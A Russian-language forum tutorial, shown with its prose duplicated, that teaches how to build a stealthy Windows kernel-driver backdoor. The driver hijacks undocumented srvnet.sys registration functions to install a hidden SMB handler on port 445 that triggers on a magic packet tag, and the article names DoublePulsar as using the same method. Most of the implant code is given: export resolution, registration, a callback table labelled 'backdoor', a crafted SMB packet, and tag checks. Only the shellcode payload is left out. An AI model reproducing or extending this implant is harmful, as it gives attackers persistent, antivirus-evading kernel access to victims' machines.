Вступление
В прошлой части мы с вами рассмотрели механизм приема и обработки SMB запросов, в этой же части мы попытаемся написать бэкдор, используя полученные знания.
Немного поразмышляем
В чем суть данного бэкдора, в чем его плюсы и минусы? Во первых этот имплант незаметен для большинства антивирусных решений, он не биндит никаких новых портов, ничего не патчит и не хукает, мы используем "недокументированное API". Во-вторых это ring0-драйвер, что означает что мы имеем возможности исполнения кода с очень большими привилегиями, перезаписывать какие либо адреса в памяти и т.д.
К минусам можно отнести, как могли догадаться, относительную сложность загрузки драйвера, так как он требует цифровой подписи или какого либо обхода проверки этой подписи.
Вспоминаем из прошлой части
В прошлой части путем реверса мы узнали как работает регистрация SMB-серверов. Напоминаю для тех кто забыл:
Драйвер сервера формирует структуру с функциями, именем и некоторым значением
Драйвер передает эту структуру SMB-провайдеру (srvnet.sys) в функции SrvNetRegisterClient
Драйвер вызывает SrvNetRegisterClient, приводя себя в активированное состояние
Идея заключается в том, что мы можем проделать тот же порядок действий и загрузить свой собственный обработчик SMB-запросов. Приступим.
Написание кода
Для начала нам стоит задуматься о том, как "импортировать" нужные нам функции, такие как:
SrvNetRegisterClient - для регистрации сервера
SrvNetStartClient - для запуска сервера
SrvNetStopClient - для остановки сервера
SrvNetDeregisterClient - для дерегистрации сервера
Для их импорт мы должны написать собственную функцию, которая будет получать BaseAddress модуля (в данном случае srvnet.sys), искать функцию и возвращать указатель на нее.
В NTAPI есть необходимая нам функция RtlQueryModuleInformation, драйвера ядра часто используют ее для получения списка модулей ядра вместе с их базовыми адресами и полным путем. Ее прототип выглядит вот так:
BufferSize это размер буфера, который будет записан функцией, UnitSize это размер структуры, описывающей информацию для одного модуля, Buffer это сам указатель на буфер, который мы выделим с помощью ExAllocatePoolWithTag и куда будет помещен список модулей ядра. RtlQueryModuleInformation принимает две структуры на выбор, разница между ними только в том, что в одной из них более расширенная информация, такая как путь к модулю. Это структура называется RTL_MODULE_EXTENDED_INFO. Вот ее определение:
BasicInfo это и есть базовый адрес, ImageSize это размер модуля, FileNameOffset это оффсет к конкретно имени модуля, FullPathName это полный путь к модулю. Для сравнения вдух строк мы можем использовать функцию strcmp. Из вышесказанного попробуем написать нашу функцию для поиска базового адреса. Вот уже готовый код с комментариями:
Данный код далек от идеала, по-хорошему тут нужны некоторые проверки, но мы делаем ставку на то, что все уже работает как надо. Хорошо, мы узнали базовый адрес нашего модуля, теперь надо как-то найти необходимую функцию. Зная базовый адрес модуля мы можем получить его таблицу экспорта с помощью финкции RtlImageDirectoryEntryToData с индексом IMAGE_DIRECTORY_ENTRY_EXPORT (0). В качестве выходного параметра она принимат указатель на структуру IMAGE_EXPORT_DIRECTORY. Прототип RtlImageDirectoryEntryToData выглядит вот так:
BaseAddress это базовый адрес, MappedAsImage это показатель того, что модуль с таким базовым адресом загружен в память как PE-образ, Directory это и есть индекс, Size это размер данных, которые буду приняты. Но для поиска адресов, нам будет необходим специальный макрос, который облегчит нам это действие. Это надо затем, что в самой структуре содержатся оффсеты, а нам нужны адреса. Для этого надо сложить базовый адрес и оффсет. Макрос будет вот таким:
Учитывая все это, напишем функцию. Я опять же дам готовый код с комментариями.
Фух, мы написали две наши необходимых функции для правильного поиск функций из srvnet.sys. Следующим шагом нам необходимо написать прототипы функций SrvNetStartClient, SrvNetRegisterClient, SrvNetStopClient и SrvNetDeregisterClient. Теоретически, мы могли просто скопировать их из псевдокода который нам предложила Ida, но я доработал их до более-менее адекватного вида. Взглянем на SrvNetRegisterClient:
Если вы читали предыдущую часть, то все должно быть понятно, но я на всякий случай повторюсь. Здесь Table это наша собственная сформированная таблица из указателей на функции, имени и т.д, а HandleToEntry это адрес юнита зарегистрированного сервера в таблице SrvNetDeviceExtension.
А это прототипы функций SrvNetStopClient, SrvNetStartClient, SrvNetDeregisterClient соответственно. Всем им требуется лишь адрес зарегистрированного сервера для выполнения действий. Для регистрации мы должны сначала вызвать GetModuleByName для нахождения базового адреса, а потом и GetRoutineByName для каждой функции и вызвать наконец регистрацию и запуск сервера. Вот примерный код функции, вызываемой при старте драйвера:
А вот и набросок для функции выгрузки драйвера:
Наконец, заполняем массив callback-функций, учитывая сведения из первой части. Для примера делаем это в DriverEntry (точке входа драйвера):
Если структура заполнена правильно, то первым делом будет вызвана функция RegisterEndpoint. Вспомним о чем я говорил в первой части, эта функция должна возвращать значение неравное нулю, иначе srvnet.sys посчитает что функция вернула результат "неудачи" и запустит проверку заново. Для примера можем возвращать 0x1:
Так, самое сложное уже сделано, драйвер успешно себя зарегистрировал как сервер, но нам же надо наделить его каким-либо функционалом? Ссылая к первой части, впервые буфер (данные пакета, отправленного на 445 порт) передаются в вызванную srvnet-ом функцию NegotiateCallback, которая, как вы помните, "договаривается" о связи между клиентом и сервером. Значит, функционал будем определять в ней. NegotiateCallback принимает три аргумента, два последних это размер буфера и сам буфер. Мы можем устроить валидацию пакета, чтобы узнать, был ли он адресован именно нам. К примеру, мы можем использовать специальный тег. Такой метод валидации сипользуется и в легитимных smb-серверах. Тег занимает четыре байта в smb-пакете, я приведу пример структуры smb-пакетов:
SMB-тэг находится сразу в начале секции с данными и в данном случае этот тэг 0x4D754614. То есть нам достаточно прочитать первые четыре байта в обратно порядке для того, чтобы убедиться в правильности пакета. Я снова приведу небольшой пример кода для реализации всего сказанного:
ULONG имеет размер 4 байта, таким образом мы гарантированно прочитаем наши первые четыре байта. В данном случае я разыменовываю таким образом).
Заключение
В данной статья я специально не приводил 100% кода, но всего данного в ней должно хватить для повторения опыта. Хочу также отметить, что по моему исследованию проверка с RegisterEndpoint-ом присутствует только в Windows 10, на семерке такого замечено не было. В данном драйвере вполне можно реализовать "боевой" функционал, вроде исполнения шеллкода или перезаписи адресов в памяти, но здесь этого делать я не буду, так как это всего лишь демонстрация возможностей использования недокументированного API. Если вы найдете ошибки в тексте, пишите об этом мне.
P.S. подобный метод работает всем известный DoublePulsar
В прошлой части мы с вами рассмотрели механизм приема и обработки SMB запросов, в этой же части мы попытаемся написать бэкдор, используя полученные знания.
Немного поразмышляем
В чем суть данного бэкдора, в чем его плюсы и минусы? Во первых этот имплант незаметен для большинства антивирусных решений, он не биндит никаких новых портов, ничего не патчит и не хукает, мы используем "недокументированное API". Во-вторых это ring0-драйвер, что означает что мы имеем возможности исполнения кода с очень большими привилегиями, перезаписывать какие либо адреса в памяти и т.д.
К минусам можно отнести, как могли догадаться, относительную сложность загрузки драйвера, так как он требует цифровой подписи или какого либо обхода проверки этой подписи.
Вспоминаем из прошлой части
В прошлой части путем реверса мы узнали как работает регистрация SMB-серверов. Напоминаю для тех кто забыл:
Драйвер сервера формирует структуру с функциями, именем и некоторым значением
Драйвер передает эту структуру SMB-провайдеру (srvnet.sys) в функции SrvNetRegisterClient
Драйвер вызывает SrvNetRegisterClient, приводя себя в активированное состояние
Идея заключается в том, что мы можем проделать тот же порядок действий и загрузить свой собственный обработчик SMB-запросов. Приступим.
Написание кода
Для начала нам стоит задуматься о том, как "импортировать" нужные нам функции, такие как:
SrvNetRegisterClient - для регистрации сервера
SrvNetStartClient - для запуска сервера
SrvNetStopClient - для остановки сервера
SrvNetDeregisterClient - для дерегистрации сервера
Для их импорт мы должны написать собственную функцию, которая будет получать BaseAddress модуля (в данном случае srvnet.sys), искать функцию и возвращать указатель на нее.
В NTAPI есть необходимая нам функция RtlQueryModuleInformation, драйвера ядра часто используют ее для получения списка модулей ядра вместе с их базовыми адресами и полным путем. Ее прототип выглядит вот так:
C++:
NTSTATUS
RtlQueryModuleInformation (
PULONG BufferSize,
ULONG UnitSize,
PVOID Buffer);
BufferSize это размер буфера, который будет записан функцией, UnitSize это размер структуры, описывающей информацию для одного модуля, Buffer это сам указатель на буфер, который мы выделим с помощью ExAllocatePoolWithTag и куда будет помещен список модулей ядра. RtlQueryModuleInformation принимает две структуры на выбор, разница между ними только в том, что в одной из них более расширенная информация, такая как путь к модулю. Это структура называется RTL_MODULE_EXTENDED_INFO. Вот ее определение:
C++:
typedef struct _RTL_MODULE_EXTENDED_INFO {
PVOID BasicInfo;
ULONG ImageSize;
USHORT FileNameOffset;
UCHAR FullPathName[256];
} RTL_MODULE_EXTENDED_INFO, * RTL_MODULE_EXTENDED_INFO;
BasicInfo это и есть базовый адрес, ImageSize это размер модуля, FileNameOffset это оффсет к конкретно имени модуля, FullPathName это полный путь к модулю. Для сравнения вдух строк мы можем использовать функцию strcmp. Из вышесказанного попробуем написать нашу функцию для поиска базового адреса. Вот уже готовый код с комментариями:
C++:
NTSTATUS GetModuleByName(
_In_ LPCSTR driverName,
_Out_ PVOID *ImageBase
)
{
NTSTATUS status;
ULONG size = 0;
UNICODE_STRING RtlQueryString = { 0 };
*ImageBase = NULL;
RtlInitUnicodeString(&RtlQueryString, L"RtlQueryModuleInformation"); //инициализируем строку RtlQueryModuleInformation
RTLQUERYMODULEINFORMATION FnRtlQueryModuleInformation = MmGetSystemRoutineAddress(&RtlQueryString); //получаем указатель на RtlQueryModuleInformation
status = FnRtlQueryModuleInformation(&size, sizeof(RTL_MODULE_EXTENDED_INFO), NULL); //таким образом инициализируем размер буфера для последующего выделения
PRTL_MODULE_EXTENDED_INFO pDriversList = (PRTL_MODULE_EXTENDED_INFO)ExAllocatePoolWithTag(PagedPool, size, "pTag"); //выделяем буфер-пул с нужным нам размером
status = FnRtlQueryModuleInformation(&size, sizeof(RTL_MODULE_EXTENDED_INFO), pDriversList); //заполнили буфер списком модулей
ULONG i;
status = STATUS_NOT_FOUND;
for (i = 0; i < size / sizeof(RTL_MODULE_EXTENDED_INFO); ++i){ //перебираем все количество модулей
if (!strcmp(driverName, &pDriversList[i].FullPathName[pDrivers[i].FileNameOffset])) //пока не найдем нужный нам по смещению в полном пути
{
*ImageBase = pDriversList[i].BasicInfo; //получаем базовый адрес
status = STATUS_SUCCESS;
break;
}
}
ExFreePoolWithTag(pDrivers, "pTag");
return status;
}
Данный код далек от идеала, по-хорошему тут нужны некоторые проверки, но мы делаем ставку на то, что все уже работает как надо. Хорошо, мы узнали базовый адрес нашего модуля, теперь надо как-то найти необходимую функцию. Зная базовый адрес модуля мы можем получить его таблицу экспорта с помощью финкции RtlImageDirectoryEntryToData с индексом IMAGE_DIRECTORY_ENTRY_EXPORT (0). В качестве выходного параметра она принимат указатель на структуру IMAGE_EXPORT_DIRECTORY. Прототип RtlImageDirectoryEntryToData выглядит вот так:
C++:
PVOID
RtlImageDirectoryEntryToData(
PVOID BaseAddress,
BOOLEAN MappedAsImage,
USHORT Directory,
PULONG Size);
BaseAddress это базовый адрес, MappedAsImage это показатель того, что модуль с таким базовым адресом загружен в память как PE-образ, Directory это и есть индекс, Size это размер данных, которые буду приняты. Но для поиска адресов, нам будет необходим специальный макрос, который облегчит нам это действие. Это надо затем, что в самой структуре содержатся оффсеты, а нам нужны адреса. Для этого надо сложить базовый адрес и оффсет. Макрос будет вот таким:
C++:
#define RVA(base, offset) ((PVOID)((PUCHAR)(base) + (ULONG)(offset)))
Учитывая все это, напишем функцию. Я опять же дам готовый код с комментариями.
C++:
NTSTATUS GetRoutineByName(
_In_ PVOID DriverImageBase,
_In_ LPCSTR FunctionName,
_Out_ PVOID *RoutineAddress
)
{
ULONG dirSize;
PIMAGE_EXPORT_DIRECTORY pExportDir; //структура экспорта
PULONG names;
PUSHORT ordinals;
PULONG functions;
UNICODE_STRING RtlImageString;
*RoutineAddress = NULL;
RtlInitUnicodeString(&RtlImageString, L"RtlImageDirectoryEntryToData");
RTLIMAGEDIRECTORYENTRYTODATA FnRtlImageDirectoryEntryToData = MmGetSystemRoutineAddress(&RtlImageString); //получаем указатель на RtlImageDirectoryEntryToData
pExportDir = (PIMAGE_EXPORT_DIRECTORY)FnRtlImageDirectoryEntryToData(DriverImageBase, TRUE, IMAGE_DIRECTORY_ENTRY_EXPORT, &dirSize); //Получаем таблицу экспорта
names = (PULONG)RVA(DriverImageBase, pExportDir->AddressOfNames); //Указатель на имена функций из таблицы экспорта
ordinals = (PUSHORT)RVA(DriverImageBase, pExportDir->AddressOfNameOrdinals); //Указатель на порядковые номера функций из таблицы экспорта
functions = (PULONG)RVA(DriverImageBase, pExportDir->AddressOfFunctions); //Указатель на адреса функций из таблицы экспорта
for (ULONG i = 0; i < pExportDir->NumberOfNames; ++i) //перебираем все количество функций
{
LPCSTR name = (LPCSTR)RVA(DriverImageBase, names[i]); //получаем имя текущей функции
if (!strcmp(FunctionName, name)) //пока не найдем искомую
{
*RoutineAddress = RVA(DriverImageBase, functions[ordinals[i]]); //присваиваем найденый адрес
return STATUS_SUCCESS;
}
}
return STATUS_NOT_FOUND;
}
Фух, мы написали две наши необходимых функции для правильного поиск функций из srvnet.sys. Следующим шагом нам необходимо написать прототипы функций SrvNetStartClient, SrvNetRegisterClient, SrvNetStopClient и SrvNetDeregisterClient. Теоретически, мы могли просто скопировать их из псевдокода который нам предложила Ida, но я доработал их до более-менее адекватного вида. Взглянем на SrvNetRegisterClient:
C++:
typedef NTSTATUS(__stdcall* SRVNETREGISTERCLIENT)(_In_ __int64 Table, _Out_ PHANDLE HandleToEntry);
Если вы читали предыдущую часть, то все должно быть понятно, но я на всякий случай повторюсь. Здесь Table это наша собственная сформированная таблица из указателей на функции, имени и т.д, а HandleToEntry это адрес юнита зарегистрированного сервера в таблице SrvNetDeviceExtension.
C++:
typedef NTSTATUS(__stdcall *SRVNETSTOPCLIENT)(_In_ HANDLE Handle);
typedef NTSTATUS(__stdcall* SRVNETSTARTCLIENT)(_In_ HANDLE Handle);
typedef NTSTATUS(__stdcall* SRVNETDEREGISTERCLIENT)(_In_ HANDLE Handle);
А это прототипы функций SrvNetStopClient, SrvNetStartClient, SrvNetDeregisterClient соответственно. Всем им требуется лишь адрес зарегистрированного сервера для выполнения действий. Для регистрации мы должны сначала вызвать GetModuleByName для нахождения базового адреса, а потом и GetRoutineByName для каждой функции и вызвать наконец регистрацию и запуск сервера. Вот примерный код функции, вызываемой при старте драйвера:
C++:
NTSTATUS RegisterSrvNetEndpoint(){
SRVNETREGISTERCLIENT SrvNetRegisterClient;
SRVNETSTARTCLIENT SrvNetStartClient;
NTSTATUS status;
if (NT_SUCCESS(status = GetModuleByName("srvnet.sys", &DriverImageBase))) {
if (NT_SUCCESS(status = GetRoutineByName(DriverImageBase, "SrvNetRegisterClient", (PVOID*)&SrvNetRegisterClient))) {
if (NT_SUCCESS(status = GetRoutineByName(DriverImageBase, "SrvNetStartClient", (PVOID*)&SrvNetStartClient))) {
if (NT_SUCCESS(status = GetRoutineByName(DriverImageBase, "SrvNetStopClient", (PVOID*)&SrvNetStopClient))) {
if (NT_SUCCESS(status = GetRoutineByName(DriverImageBase, "SrvNetDeregisterClient", (PVOID*)&SrvNetDeregisterClient))) {
if (NT_SUCCESS(status = SrvNetRegisterClient(CallbackTable, &SrvNetHandle))) {
if (!NT_SUCCESS(status = SrvNetStartClient(SrvNetHandle))) {
DbgPrint("[-] Failed to start client!\n");
}
}
}
}
}
}
}
return STATUS_SUCCESS;
}
А вот и набросок для функции выгрузки драйвера:
C++:
NTSTATUS DeregisterSrvNetEndpoint(){
NTSTATUS status;
if (SrvNetHandle){
if (NT_SUCCESS(status = SrvNetStopClient(SrvNetHandle))) {
if (NT_SUCCESS(status = SrvNetDeregisterClient(SrvNetHandle))) {
SrvNetHandle = NULL;
}
}
}
}
Наконец, заполняем массив callback-функций, учитывая сведения из первой части. Для примера делаем это в DriverEntry (точке входа драйвера):
C++:
NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING RegistryPath)
{
pDriverObject->DriverUnload = &DriverUnload;
memset(CallbackTable, 0, 0x50);
CallbackTable[0] = 0x18;
CallbackTable[1] = (__int64)"backdoor";
CallbackTable[3] = (__int64)RegisterEndpoint;
CallbackTable[4] = (__int64)DeregisterEndpoint;
CallbackTable[5] = (__int64)NegotiateCallback;
CallbackTable[6] = (__int64)ConnectCallback;
CallbackTable[7] = (__int64)&ReceiveCallback;
CallbackTable[8] = (__int64)DisconnectClient;
CallbackTable[2] = 0x0;
CallbackTable[11] = 0x3;
RegisterSrvNetEndpoint();
return STATUS_SUCCESS;
}
Если структура заполнена правильно, то первым делом будет вызвана функция RegisterEndpoint. Вспомним о чем я говорил в первой части, эта функция должна возвращать значение неравное нулю, иначе srvnet.sys посчитает что функция вернула результат "неудачи" и запустит проверку заново. Для примера можем возвращать 0x1:
C++:
NTSTATUS RegisterEndpoint(){
DbgPrint("[+] Triggered RegisterEndpoint\n");
return 0x1;
Так, самое сложное уже сделано, драйвер успешно себя зарегистрировал как сервер, но нам же надо наделить его каким-либо функционалом? Ссылая к первой части, впервые буфер (данные пакета, отправленного на 445 порт) передаются в вызванную srvnet-ом функцию NegotiateCallback, которая, как вы помните, "договаривается" о связи между клиентом и сервером. Значит, функционал будем определять в ней. NegotiateCallback принимает три аргумента, два последних это размер буфера и сам буфер. Мы можем устроить валидацию пакета, чтобы узнать, был ли он адресован именно нам. К примеру, мы можем использовать специальный тег. Такой метод валидации сипользуется и в легитимных smb-серверах. Тег занимает четыре байта в smb-пакете, я приведу пример структуры smb-пакетов:
Код:
unsigned char buf[] = {
/* NetBIOS Wrapper */
0x00, /* session */
0x00, 0x00, 0xC4, /* length */
/* SMB Header */
0x4D, 0x75, 0x44, 0x61, /* SMB tag !!!!IMPORTANT!!!!*/
0x40, 0x00, /* structure size, must be 0x40 */
0x00, 0x00, /* credit charge */
0x00, 0x00, /* channel sequence */
0x00, 0x00, /* channel reserved */
0x0C, 0x00, /* command !!!!IMPORTANT!!!!*/
0x00, 0x00, /* credits requested */
0x00, 0x00, 0x00, 0x00, /* flags */
0x00, 0x00, 0x00, 0x00, /* chain offset */
0x00, 0x00, 0x00, 0x00, /* message id */
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, /* reserved */
0x00, 0x00, 0x00, 0x00, /* tree id */
0x00, 0x00, 0x00, 0x00, /* session id */
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, /* signature */
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
/* SMB Negotiation Request */
0x24, 0x00, /* structure size */
0x08, 0x00, /* dialect count, 8 */
0x00, 0x00, /* security mode */
0x00, 0x00, /* reserved */
0x7F, 0x00, 0x00, 0x00, /* capabilities */
0x01, 0x02, 0xAB, 0xCD, /* guid */
0x01, 0x02, 0xAB, 0xCD,
0x01, 0x02, 0xAB, 0xCD,
0x01, 0x02, 0xAB, 0xCD,
0x78, 0x00, /* negotiate context */
0x00, 0x00, /* additional padding */
0x02, 0x00, /* negotiate context count */
0x00, 0x00, /* reserved 2 */
0x02, 0x02, /* dialects, SMB 2.0.2 */
0x10, 0x02, /* SMB 2.1 */
0x22, 0x02, /* SMB 2.2.2 */
0x24, 0x02, /* SMB 2.2.3 */
0x00, 0x03, /* SMB 3.0 */
0x02, 0x03, /* SMB 3.0.2 */
0x10, 0x03, /* SMB 3.0.1 */
0x11, 0x03, /* SMB 3.1.1 */
0x00, 0x00, 0x00, 0x00, /* padding */
/* Preauth context */
0x01, 0x00, /* type */
0x26, 0x00, /* length */
0x00, 0x00, 0x00, 0x00, /* reserved */
0x01, 0x00, /* hash algorithm count */
0x20, 0x00, /* salt length */
0x01, 0x00, /* hash algorith, SHA512 */
0x00, 0x00, 0x00, 0x00, /* salt */
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, /* pad */
/* Compression context */
0x03, 0x00, /* type */
0x0E, 0x00, /* length */
0x00, 0x00, 0x00, 0x00, /* reserved */
0x02, 0x00, /* compression algorithm count */
0x00, 0x00, /* padding */
0x01, 0x00, 0x00, 0x00, /* flags */
0x02, 0x00, /* LZ77 */
0x03, 0x00, /* LZ77+Huffman */
0x00, 0x00, 0x00, 0x00, /* padding */
0x00, 0x00, 0x00, 0x00
};
SMB-тэг находится сразу в начале секции с данными и в данном случае этот тэг 0x4D754614. То есть нам достаточно прочитать первые четыре байта в обратно порядке для того, чтобы убедиться в правильности пакета. Я снова приведу небольшой пример кода для реализации всего сказанного:
C++:
NTSTATUS NegotiateCallback(PVOID Unk0, ULONG InputBufferSize, PULONG InputBuffer){
DbgPrint("[+] Triggered NegotiateCallback\n");
DbgPrint("<================================>");
if (*(ULONG*)InputBuffer == 0x6144754D){
DbgPrint("[+] Received packet with tag 0x%x", *(ULONG*)InputBuffer);
}
return 0;
}
ULONG имеет размер 4 байта, таким образом мы гарантированно прочитаем наши первые четыре байта. В данном случае я разыменовываю таким образом).
Заключение
В данной статья я специально не приводил 100% кода, но всего данного в ней должно хватить для повторения опыта. Хочу также отметить, что по моему исследованию проверка с RegisterEndpoint-ом присутствует только в Windows 10, на семерке такого замечено не было. В данном драйвере вполне можно реализовать "боевой" функционал, вроде исполнения шеллкода или перезаписи адресов в памяти, но здесь этого делать я не буду, так как это всего лишь демонстрация возможностей использования недокументированного API. Если вы найдете ошибки в тексте, пишите об этом мне.
P.S. подобный метод работает всем известный DoublePulsar
Последнее редактирование: